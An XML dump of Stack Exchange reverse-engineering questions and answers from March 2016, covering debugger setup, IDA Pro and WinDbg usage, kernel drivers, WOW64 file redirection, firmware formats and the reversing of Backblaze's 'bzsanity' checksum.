  <row Id="12174" PostTypeId="2" ParentId="12164" CreationDate="2016-03-08T12:51:05.233" Score="18" Body="&lt;p&gt;I am running Windows 10 x64 and I had the same problem as you do. The problem is with the environment variables regarding your Python installation. I am using Python 2.7.11 which is the currently latest release for the 2.x series. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to make Immunity Debugger work on Windows 10 modify(and ADD if necessary) the following environment variables(assuming Python is installed at &lt;code&gt;C:\Python27&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;PATH=&quot;C:\python27;%PATH%&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PYTHONHOME=&quot;C:\python27&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PYTHONPATH=&quot;C:\Python27\DLLs;C:\Python27\Lib;C:\Python27\Lib\site-packages&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following changes made it work for me.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-03-08T12:51:05.233" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostTypeId="2" ParentId="12172" CreationDate="2016-03-08T14:10:39.337" Score="0" Body="&lt;p&gt;Yes, you can automate this by running IDA Pro with the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-B&lt;/code&gt; command line switch&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;-B     batch mode. IDA will generate .IDB and .ASM files automatically&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-08T14:10:39.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="6889" CreationDate="2016-03-08T14:19:28.250" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LUniH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUniH.png&quot; alt=&quot;after following the steps i got the OEP.Image is as follows&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so ollydbg didn't understand the code put unnecessary code.so after doing &quot;Remove analysis&quot; from the assembly pane i got OEP&#xA;Thanks @jason Geffner&lt;/p&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2016-03-08T14:19:28.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12177" PostTypeId="2" ParentId="12159" CreationDate="2016-03-08T14:22:59.390" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IyHXo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IyHXo.png&quot; alt=&quot; &quot;&gt;&lt;/a&gt;&#xA;so ollydbg didn't understand the code put unnecessary code.so after doing &quot;Remove analysis&quot; from the assembly pane i got OEP&#xA;Now NS based packed got unpacked&#xA;Thanks @jason Geffner&lt;/p&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2016-03-08T14:22:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12178" PostTypeId="1" AcceptedAnswerId="12186" CreationDate="2016-03-08T17:37:41.063" Score="2" ViewCount="176" Body="&lt;p&gt;In my vtable i found a method that simply returns ecx.&#xA;Now im confused as to what this tries to accomplish ? &#xA;Is this a known useful sequence ?&lt;/p&gt;&#xA;" OwnerUserId="15292" LastActivityDate="2016-03-09T16:30:08.900" Title="Virtual Method that returns &lt;this&gt;?" Tags="|ida|c++|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12179" PostTypeId="2" ParentId="12178" CreationDate="2016-03-08T17:59:46.200" Score="0" Body="&lt;p&gt;It could be a method that at a high-level is intended to return a &lt;a href=&quot;https://en.wikipedia.org/wiki/Covariance_and_contravariance_(computer_science)&quot; rel=&quot;nofollow&quot;&gt;covariant&lt;/a&gt; object pointer.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-08T17:59:46.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12180" PostTypeId="1" AcceptedAnswerId="12185" CreationDate="2016-03-09T08:13:42.540" Score="0" ViewCount="1954" Body="&lt;p&gt;How find address of specific pool that allocated by specific tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. address of pool that allocated by CM7 tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="12454" LastEditDate="2016-03-09T10:48:27.160" LastActivityDate="2016-03-09T14:16:13.080" Title="How find address of specific pool allocated?" Tags="|windows|debugging|windbg|kernel-mode|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-09T17:05:30.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="12181" PostTypeId="2" ParentId="12178" CreationDate="2016-03-09T11:26:35.827" Score="0" Body="&lt;p&gt;If it would be ARM I'd say that it is constructor or destructor (see &lt;a href=&quot;https://stackoverflow.com/questions/15452133/arm-c-abi-constructor-destructor-return-values&quot;&gt;this answer&lt;/a&gt; for more details). As a part of more general pattern I had seen such a things in a multi-platform applications where the main code of the function was &lt;code&gt;#ifdef&lt;/code&gt;'ed out and only return value was left for compatibility with other platforms/build configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you see calls to this function?&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-09T11:26:35.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostTypeId="2" ParentId="1701" CreationDate="2016-03-09T11:40:27.327" Score="1" Body="&lt;p&gt;Here is what you're looking for, I just came across a fully working Python decompiler named &quot;&lt;a href=&quot;http://sourceforge.net/projects/easypythondecompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Python Decompiler&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="15334" LastEditorUserId="245" LastEditDate="2018-11-13T08:38:45.590" LastActivityDate="2018-11-13T08:38:45.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12184" PostTypeId="2" ParentId="12165" CreationDate="2016-03-09T13:41:59.500" Score="0" Body="&lt;p&gt;I'd suggest: &lt;a href=&quot;http://crackmes.de/&quot; rel=&quot;nofollow&quot;&gt;http://crackmes.de/&lt;/a&gt; as a source of problems.  Their problems are graduated from fairly easy to extremely difficult.  In addition to problems, they do maintain a list of solutions (not for all problems though) if you get stuck.&lt;/p&gt;&#xA;" OwnerUserId="8177" LastActivityDate="2016-03-09T13:41:59.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostTypeId="2" ParentId="12180" CreationDate="2016-03-09T14:16:13.080" Score="3" Body="&lt;p&gt;In &lt;a href=&quot;https://en.wikipedia.org/wiki/WinDbg&quot; rel=&quot;nofollow&quot;&gt;WinDbg&lt;/a&gt;, you can use the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff564696.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;!poolfind&lt;/code&gt;&lt;/a&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;!poolfind&lt;/strong&gt; extension finds all instances of a specific pool tag in&#xA;  either nonpaged or paged memory pools.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !poolfind SeSd 0&#xA;&#xA;Scanning large pool allocation table for Tag: SeSd (827d1000 : 827e9000)&#xA;&#xA;Searching NonPaged pool (823b1000 : 82800000) for Tag: SeSd&#xA;&#xA;826fa130 size:   c0 previous size:   40  (Allocated) SeSd&#xA;82712000 size:   c0 previous size:    0  (Allocated) SeSd&#xA;82715940 size:   a0 previous size:   60  (Allocated) SeSd&#xA;8271da30 size:   c0 previous size:   10  (Allocated) SeSd&#xA;82721c00 size:   10 previous size:   30  (Free)      SeSd&#xA;8272b3f0 size:   60 previous size:   30  (Allocated) SeSd&#xA;8272d770 size:   60 previous size:   40  (Allocated) SeSd&#xA;8272d7d0 size:   a0 previous size:   60  (Allocated) SeSd&#xA;8272d960 size:   a0 previous size:   70  (Allocated) SeSd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-09T14:16:13.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12186" PostTypeId="2" ParentId="12178" CreationDate="2016-03-09T16:30:08.900" Score="1" Body="&lt;p&gt;The C++ compiler of Visual Studio uses &lt;code&gt;ecx&lt;/code&gt; as the default register for &lt;code&gt;this&lt;/code&gt; pointer, a virtual method which returns &lt;code&gt;ecx&lt;/code&gt; then actually returns &lt;code&gt;this&lt;/code&gt; or &lt;code&gt;*this&lt;/code&gt;. For example, you can test the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class A&#xA;{&#xA;public:&#xA;  virtual A getmyself() { return *this; }&#xA;  virtual A* getmyselfpointer() { return this; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The generated assembly code for &lt;code&gt;getmyself&lt;/code&gt; (the same for &lt;code&gt;getmyselfpointer&lt;/code&gt;) is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getmyself:&#xA;  mov     eax, ecx&#xA;  retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This detail is not true for &lt;code&gt;clang&lt;/code&gt; or &lt;code&gt;gcc&lt;/code&gt; since they do not use &lt;code&gt;ecx&lt;/code&gt; as default register for &lt;code&gt;this&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2016-03-09T16:30:08.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostTypeId="1" AcceptedAnswerId="12192" CreationDate="2016-03-09T18:28:02.683" Score="3" ViewCount="619" Body="&lt;p&gt;I'm in the process of learning the Windows API and reversing in general, so I apologize if this is a fairly dumb question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading a section of 'Practical Malware Analysis' discussing the Native API  I decided to have a look at some of ntdll.dll's exported functions. I came across the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff556539.aspx&quot; rel=&quot;nofollow&quot;&gt;NtLoadDriver&lt;/a&gt; which simply loads a specified driver from the registry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this driver exist in user space, or in kernel space? Is it even possible for a non kernel mode driver to exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight or clarification would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerDisplayName="user15338" LastEditorDisplayName="user15338" LastEditDate="2016-04-06T17:40:38.203" LastActivityDate="2016-04-06T17:40:38.203" Title="Do all drivers exist in Kernel mode?" Tags="|windows|dll|memory|kernel-mode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostTypeId="2" ParentId="12191" CreationDate="2016-03-09T18:56:44.633" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would this driver exist in user space, or in kernel space?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Kernel space.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it even possible for a non kernel mode driver to exist?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can write a user-mode driver using the User-Mode Driver Framework, but that type of driver is effectively a user-mode service with access to some extra I/O functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we typically think of as a &quot;driver&quot; is a kernel-mode driver.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first thing that &lt;code&gt;NtLoadDriver()&lt;/code&gt; does is check that the caller's token has &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt;, which even administrators' tokens don't have by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other reasons we don't see much malware in the form of drivers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's more difficult to develop (malicious) kernel-mode code than it is to develop (malicious) user-mode code. Since it's rare that a malware author would need to do something that can only be done from kernel-mode, there's usually not much value in writing a malicious driver.&lt;/li&gt;&#xA;&lt;li&gt;Modern versions of Windows have very strict driver-signing requirements with regard to allowing a driver to load. Getting a legitimate driver-signing certificate is not easy to do for a malware author, and once Microsoft discovers that said certificate is being used to sign malicious drivers, Microsoft will revoke the certificate and prevent all Windows installations from loading drivers signed with that certificate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-09T18:56:44.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostTypeId="1" AcceptedAnswerId="12195" CreationDate="2016-03-09T20:41:39.327" Score="7" ViewCount="657" Body="&lt;p&gt;I use Backblaze to back up my computer. You restore files from your backups by selecting files to restore, which are then packed into large zip files. Of course, it's fairly rare to be able to download a 500GB zip file without a connection interruption, so a sane developer would implement support for the HTTP Range header to allow users to resume downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have not done so. Instead, they have a boutique download utility that specifies the requested byte ranges by emulating a POSTed HTML form. This utility does all the stuff you'd expect a normal download manager to do, like downloading with multiple connections at a time and resuming partially completed downloads, but due to some dodgy design issues (like opening a fully-fledged process, not a thread, for each 40MB block) it is rather inefficient on fast (&gt;100 Mbps) connections. It also is Windows-exclusive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to write an open source replacement in Node.js that removes some of the suck, but I'm up against a roadblock: one of the fields the utility sends in its POST requests is called &quot;bzsanity&quot; and is a 16-bit checksum over the account email address. Unfortunately, I can't figure out what the algorithm is. Maybe I'm just dumb, but I'm hoping you guys can help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some checksum values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;test@test.com: 028a&lt;/li&gt;&#xA;&lt;li&gt;Test@test.com: 4152&lt;/li&gt;&#xA;&lt;li&gt;test2@test.com: 3d0f&lt;/li&gt;&#xA;&lt;li&gt;test: 494c&lt;/li&gt;&#xA;&lt;li&gt;aa: acf2&lt;/li&gt;&#xA;&lt;li&gt;ab: aaad&lt;/li&gt;&#xA;&lt;li&gt;ac: 8e4d&lt;/li&gt;&#xA;&lt;li&gt;ad: 0436&lt;/li&gt;&#xA;&lt;li&gt;&quot;&quot; (empty string): a93e&lt;/li&gt;&#xA;&lt;li&gt;a: ce7f&lt;/li&gt;&#xA;&lt;li&gt;b: 1a1e&lt;/li&gt;&#xA;&lt;li&gt;c: 1540&lt;/li&gt;&#xA;&lt;li&gt;d: 6c57&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want more test vectors, I can probably deliver. I've tried adding the bytes in an accumulator and a few variants of CRC-16, and those approaches don't work.&lt;/p&gt;&#xA;" OwnerUserId="15339" LastActivityDate="2016-03-11T21:09:24.970" Title="Backblaze 16-bit checksum (&quot;bzsanity&quot;)" Tags="|crc|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostTypeId="1" AcceptedAnswerId="12196" CreationDate="2016-03-09T21:31:23.167" Score="4" ViewCount="2661" Body="&lt;p&gt;I use IDA Pro 6.8.150428 (idaq64.exe) to disassemble system dlls (64 bit) e.g. ntdll.dll, kernel32.dll, etc. in Windows 10 64 bit. I found idaq64.exe correctly disassembling 64 bit sample applications (.exe) but generating incorrect dis-assembly for the dlls e.g. shows 32 bit register operands, etc. I checked the IDA Pro dis-assembly output with WinDbg (runtime) and Intel XED (static) output. While Windbg and XED outputs are consistent with each other, they are completely different than that of IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Runtime disassembly in WinDbg @00007ffda61c12e0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00007ffda61c12db      call    ntdll!NtQueryPerformanceCounter (00007ffda6213b30)&#xA;00007ffda61c12e0      mov     eax,dword ptr [rsp+30h]&#xA;00007ffda61c12e4      mov     rsi,qword ptr [rsp+40h]&#xA;00007ffda61c12e9      shl     rax,20h&#xA;00007ffda61c12ed      xor     rax,qword ptr [rsp+30h]&#xA;00007ffda61c12f2      xor     rax,rbx&#xA;00007ffda61c12f5      mov     rbx,qword ptr [rsp+38h]&#xA;00007ffda61c12fa      xor     rax,rdi&#xA;00007ffda61c12fd      add     rsp,20h&#xA;00007ffda61c1301      pop     rdi&#xA;00007ffda61c1302      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The static address in the ntdll.dll binary corresponding to the runtime address mentioned above (7ffda61c12e0) is 4b2c12e0. I even don't see the address in ntdll.dll dis-assembly in IDA Pro. It shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:4B2C12DF                 test    eax, eax&#xA;.text:4B2C12E1                 js      loc_4B30C906&#xA;.text:4B2C12E7                 mov     [esp+278h+var_255], 1&#xA;.text:4B2C12EC&#xA;.text:4B2C12EC loc_4B2C12EC:                           ; CODE XREF: LdrpPreprocessDllName(x,x,x,x)+4B66Bj&#xA;.text:4B2C12EC                 mov     ecx, [esp+278h+var_254]&#xA;.text:4B2C12F0                 xor     ebx, ebx&#xA;.text:4B2C12F2                 xor     dl, dl&#xA;.text:4B2C12F4                 mov     [esp+278h+var_264], ebx&#xA;.text:4B2C12F8                 mov     [esp+278h+var_25D], dl&#xA;.text:4B2C12FC                 test    byte ptr [ecx], 8&#xA;.text:4B2C12FF                 jnz     loc_4B2C160B&#xA;.text:4B2C1305                 mov     edi, [esp+278h+var_25C]&#xA;.text:4B2C1309                 xor     al, al&#xA;.text:4B2C130B                 mov     ecx, large fs:30h&#xA; .text:4B2C1312                 mov     [esp+278h+var_244], edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently, IDA Pro is disassembling the dll incorrectly. How can I make IDA Pro correctly disassemble 64 bit dlls?  &lt;/p&gt;&#xA;" OwnerUserId="15268" LastEditorUserId="15268" LastEditDate="2016-03-10T01:29:23.180" LastActivityDate="2016-03-10T06:52:52.507" Title="IDA Pro 64 bit disassembly error for system DLLs" Tags="|ida|disassembly|dll|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostTypeId="2" ParentId="12193" CreationDate="2016-03-09T22:17:22.193" Score="10" Body="&lt;p&gt;I'll use &lt;code&gt;&quot;test@test.com&quot;&lt;/code&gt; for the sake of example.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Algorithm&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the email address to its ASCII bytes. For example, the ASCII bytes for &lt;code&gt;&quot;test@test.com&quot;&lt;/code&gt; are &lt;code&gt;74 65 73 74 40 74 65 73 74 2E 63 6F 6D&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make a lowercase string out of those hex bytes. Using the running example, this would produce &lt;code&gt;&quot;7465737440746573742e636f6d&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Compute the SHA-1 hash of that string. For example, &lt;code&gt;SHA1(&quot;7465737440746573742e636f6d&quot;) = 90 A2 78 5A 31 39 E2 2A 3D F7 56 90 0A F3 79 87 A9 35 03 16&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make a lowercase string out of those hex bytes. Using the running example, this would produce &lt;code&gt;&quot;90a2785a3139e22a3df756900af37987a9350316&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Concatenate the 2nd, 4th, 6th, and 8th characters in that string to produce the &lt;code&gt;bzsanity&lt;/code&gt; value. Using the running example, this would be &lt;code&gt;'0'+'2'+'8'+'a' = &quot;028a&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And just for fun, here's a one-line snippet in Python to compute the &lt;code&gt;bzsanity&lt;/code&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;&quot;&quot;.join(map(lambda i: hashlib.sha1(&quot;&quot;.join(map(hex, map(ord, &quot;test@test.com&quot;))).replace(&quot;0x&quot;, &quot;&quot;)).hexdigest()[i], [1, 3, 5, 7]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2016-03-10T17:34:54.160" LastActivityDate="2016-03-10T17:34:54.160" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12196" PostTypeId="2" ParentId="12194" CreationDate="2016-03-10T06:52:52.507" Score="3" Body="&lt;p&gt;On 64-bit Windows, any 32-bit process trying to access &lt;code&gt;C:\Windows\system32&lt;/code&gt; is transparently redirected to &lt;code&gt;C:\Windows\SysWOW64&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IDA (Both &lt;code&gt;idaq.exe&lt;/code&gt; and &lt;code&gt;idaq64.exe&lt;/code&gt;) are 32-bit processes, you are actually opening &lt;code&gt;C:\Windows\SysWOW64\ntdll.dll&lt;/code&gt; (which is a 32-bit file) instead of &lt;code&gt;C:\Windows\system32\ntdll.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To open the correct file, copy it from &lt;code&gt;C:\Windows\system32&lt;/code&gt; to a different directory, and open it from there.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-03-10T06:52:52.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="1" AcceptedAnswerId="12200" CreationDate="2016-03-10T07:24:30.047" Score="-1" ViewCount="640" Body="&lt;p&gt;Ollydbg gives default output in which assembly language instructions in Intel or AT&amp;amp;T syntax ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to change the assembly language syntax ?&lt;/p&gt;&#xA;" OwnerUserId="15058" LastActivityDate="2016-03-10T08:21:29.013" Title="Ollydbg gives output in which assembly language instructions in Intel or AT&amp;T syntax?" Tags="|disassembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12199" PostTypeId="1" CreationDate="2016-03-10T08:14:40.217" Score="1" ViewCount="343" Body="&lt;p&gt;I've obtained a vendor firmware which I'd like to look at in more detail. It appears to be wrapped in some kind of wrapper that I've never seen before. It's not a DFU footer, or a DfuSe header and I can't see anything obvious. Any ideas very welcome. &lt;code&gt;srec_info&lt;/code&gt; seems to think it's &quot;Motorola S-Record&quot; but this is clearly a padded binary format, ending with what looks like a SHA256 hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000 0001 0000 0200 0000 0000 0003 0000 0400&#xA;0000010 0000 0000 0005 0000 3000 0000 0000 0031&#xA;0000020 0000 3200 0000 0000 0101 0010 0020 0403&#xA;0000030 18ff 0300 ff04 0018 0000 0000 ffff ffff&#xA;0000040 ffff ffff ffff ffff ffff ffff ffff ffff&#xA;*&#xA;0000200 df03 fae3 dcb6 3e5e 1dd8 d3b8 8805 a692&#xA;... firmware blob ...&#xA;0003410 0073 0065 ffff ffff ffff ffff ffff ffff&#xA;0003420 ffff ffff ffff ffff ffff ffff ffff ffff&#xA;*&#xA;0003500 0001 0000 0200 0000 0000 0003 0000 0400&#xA;0003510 0000 0000 0005 0000 3000 0000 0000 0031&#xA;0003520 0000 3200 0000 0000 0101 0010 0020 0403&#xA;0003530 18ff 0300 ff04 0018 ffff ffff ffff ffff&#xA;0003540 ffff ffff ffff ffff ffff ffff ffff ffff&#xA;*&#xA;00035e0 8bce 56ef c6db d0db a6ce 9cce 9cce 9cce&#xA;00035f0 9cce 9cce 9cce 9cce 9cce 88d1 55aa 1385&#xA;0003600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas very welcome, thanks!&lt;/p&gt;&#xA;" OwnerUserId="15345" LastActivityDate="2016-03-23T13:18:13.597" Title="Unknown firmware header for ARM device" Tags="|firmware|arm|" AnswerCount="0" CommentCount="4" ClosedDate="2016-03-23T14:35:48.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="2" ParentId="12197" CreationDate="2016-03-10T08:21:29.013" Score="3" Body="&lt;p&gt;The default output is in Intel syntax. Precisely, Ollydbg 1.10 uses &lt;code&gt;MASM&lt;/code&gt;, &lt;code&gt;IDEAL&lt;/code&gt; or &lt;code&gt;HLA&lt;/code&gt; syntax which are both based on Intel syntax. AT&amp;amp;T syntax is not available in version 1.10 but it is available in version 2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ollydbg 1.10 you can choose between &lt;code&gt;MASM&lt;/code&gt;, &lt;code&gt;IDEAL&lt;/code&gt; or &lt;code&gt;HLA&lt;/code&gt; in &lt;code&gt;Options -&amp;gt; Debugging Options -&amp;gt; Disasm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ollydbg 2.00 you can choose between the &lt;code&gt;AT&amp;amp;T&lt;/code&gt; syntax and the mentioned above in  &lt;code&gt;Options -&amp;gt; Options -&amp;gt; Code (Code options)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-03-10T08:21:29.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12203" PostTypeId="2" ParentId="12193" CreationDate="2016-03-11T21:09:24.970" Score="4" Body="&lt;p&gt;As CTO and founder of Backblaze, I wrote the original source code of the Backblaze client, and Jason Geffner above is correct. That is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;hexencode the email address (all lowercase, email addresses are not case sensitive)&lt;/li&gt;&#xA;&lt;li&gt;take the sha1 - the result should be a 40 byte human readable all lowercase string&lt;/li&gt;&#xA;&lt;li&gt;if the sha1 characters have &quot;zero&quot; for the index of the very initial character, then take the characters at index 1, 3, 5, and 7.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;-- BrianW&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2016-03-11T21:09:24.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12204" PostTypeId="1" CreationDate="2016-03-12T06:30:45.123" Score="1" ViewCount="5117" Body="&lt;p&gt;I am debugging a 32-bit ELF executable using remote GDB debugging option of IDA Pro. However, I am unable to view the contents of stack in the stack view. Also, the stack pointer value is: 0xFFFFD328&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the hex dump view, if I press G and enter the above address, it does not display. Similarly, in the stack view, I cannot scroll to this address or view it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function prolog in the main function initializes the stack pointer as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, [esp+4]&#xA;and     esp, 0FFFFFFF8h&#xA;push    dword ptr [ecx-4]&#xA;push    ebp&#xA;mov     ebp, esp&#xA;push    ecx&#xA;sub     esp, 0Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2017-08-14T07:53:30.123" Title="Unable to view stack and memory addresses in IDA Pro" Tags="|ida|debugging|linux|elf|" AnswerCount="1" CommentCount="1" ClosedDate="2017-08-14T15:37:40.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="12205" PostTypeId="2" ParentId="206" CreationDate="2016-03-12T08:45:48.680" Score="3" Body="&lt;p&gt;&lt;strong&gt;theZoo&lt;/strong&gt;&lt;br&gt;&#xA;theZoo is a project created to make the possibility of malware analysis open and available to the public. Since we have found out that almost all versions of malware are very hard to come by in a way which will allow analysis we have decided to gather all of them for you in an available and safe way. theZoo was born by Yuval tisf Nativ and is now maintained by Shahak Shalev.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/ytisf/theZoo/tree/master/malwares/Source&quot; rel=&quot;nofollow&quot;&gt;Malware Source&lt;/a&gt;&lt;br&gt;&#xA; &lt;a href=&quot;https://github.com/ytisf/theZoo/tree/master/malwares/Binaries&quot; rel=&quot;nofollow&quot;&gt;Malware Binaries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1512" LastActivityDate="2016-03-12T08:45:48.680" CommentCount="0" CommunityOwnedDate="2016-03-12T08:45:48.680" ContentLicense="CC BY-SA 3.0" />
